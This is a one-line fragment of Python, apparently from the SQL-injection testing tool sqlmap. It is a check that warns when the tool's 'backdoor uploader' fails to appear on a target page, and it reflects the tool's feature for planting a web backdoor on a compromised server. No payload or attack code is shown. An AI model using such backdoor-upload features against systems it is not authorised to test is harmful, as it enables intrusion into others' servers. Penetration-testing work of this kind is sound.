"sqlmap backdoor uploader" not in page: warnMsg = "unable to upload the uploader "